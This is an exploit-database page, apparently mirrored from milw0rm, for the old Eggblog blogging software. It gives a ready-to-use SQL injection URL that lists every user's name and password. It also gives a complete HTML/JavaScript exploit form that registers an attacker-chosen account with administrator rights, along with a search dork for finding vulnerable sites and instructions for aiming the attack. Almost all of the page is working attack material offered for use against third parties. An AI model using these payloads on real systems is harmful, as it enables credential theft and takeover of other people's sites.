Eggblog < 3.07 Remote (SQL Injection / Privilege Escalation) Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Eggblog 3.07 Remote SQL Injection / Privilege Escalation Exploi

                                                &#60;!--
Eggblog &#60;= 3.x Multiple Remote Vulnerabilities
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: [email protected] web: http://www.nukedx.com
Original advisory can be found at: http://www.nukedx.com/?viewdoc=36
Eggblog &#60;= 3.0.6 (rss/posts.php id) Remote SQL injection
Example -&#62;  http://[site]/[EggBlog]/rss/posts.php?id=1&#39;/**/UNION/**/SELECT/**/0,concat(&#39;Username:%20&#39;,username),concat(&#39;Password:%20&#39;,password)/**/from/**/eggblog_members/*
This SQL injection will list you all users and passwords.
--&#62;

&#60;html&#62;
&#60;title&#62;Eggblog 2.x Remote Privilege Escalation&#60;/title&#62;
&#60;body bgcolor=&#34;#000000&#34;&#62;
&#60;style&#62;
.xpl {font-family:tahoma; font-size:11px; text-decoration: none;}
&#60;/style&#62;
&#60;script language=&#34;JavaScript&#34;&#62;
function egxpl() {
  if (document.xplt.victim.value==&#34;&#34;) {
    alert(&#34;Please enter site!&#34;);
    return false;
  }
  if (confirm(&#34;Are you sure?&#34;)) {
    xplt.action=&#34;http://&#34;+document.xplt.victim.value+&#34;home/register.php&#34;;
    xplt.username.value=document.xplt.username.value;
    xplt.email.value=document.xplt.email.value;
    xplt.password.value=document.xplt.password.value;
    xplt.ref=document.xplt.ref.value;
    xplt.submit();
  }
}
&#60;/script&#62;
&#60;strong&#62;
&#60;font class=&#34;xpl&#34; color=&#34;#00FF40&#34;&#62;
&#60;pre&#62;
&#60;center&#62;
Welcome to Eggblog 2.x Remote Privilege Escalation
This exploit has been coded by nukedx
You can found original advisory on http://www.nukedx.com/?viewdoc=36
Dork for this exploit: &#60;u&#62;inurl:&#34;powered by eggblog&#34;&#60;/u&#62;
Your target must be like that: www.victim.com/Path/
The sites you found with given dork has like: www.victim.com/eggblog/home/ or www.victim.com/home/
If the site has /eggblog/home in link your target must be www.victim.com/eggblog/
For second example your target must be www.victim.com/
You can login with your admin account via www.victim.com/eggblog/admin/index.php
Have phun
&#60;form name=&#34;xplt&#34; method=&#34;POST&#34; onsubmit=&#34;egxpl();&#34;&#62;
Target -&#62; &#60;input type=&#34;text&#34; name=&#34;victim&#34; value=&#34;www.victim.com/Path/&#34; size=&#34;44&#34; class=&#34;xpl&#34;&#62;
&#60;input type=&#34;text&#34; name=&#34;username&#34; value=&#34;Enter Username&#34; class=&#34;xpl&#34; size=&#34;30&#34;&#62;
&#60;input type=&#34;text&#34; name=&#34;email&#34; value=&#34;Enter Email&#34; class=&#34;xpl&#34; size=&#34;30&#34;&#62;
&#60;input type=&#34;text&#34; name=&#34;password&#34; value=&#34;Enter Password&#34; class=&#34;xpl&#34; size=&#34;30&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;ref&#34; value=&#34;T&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Send&#34; class=&#34;xpl&#34;&#62;
&#60;/form&#62;
&#60;/pre&#62;
&#60;/font&#62;
&#60;/strong&#62;
&#60;/body&#62;
&#60;/html&#62;

# milw0rm.com [2006-05-28]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1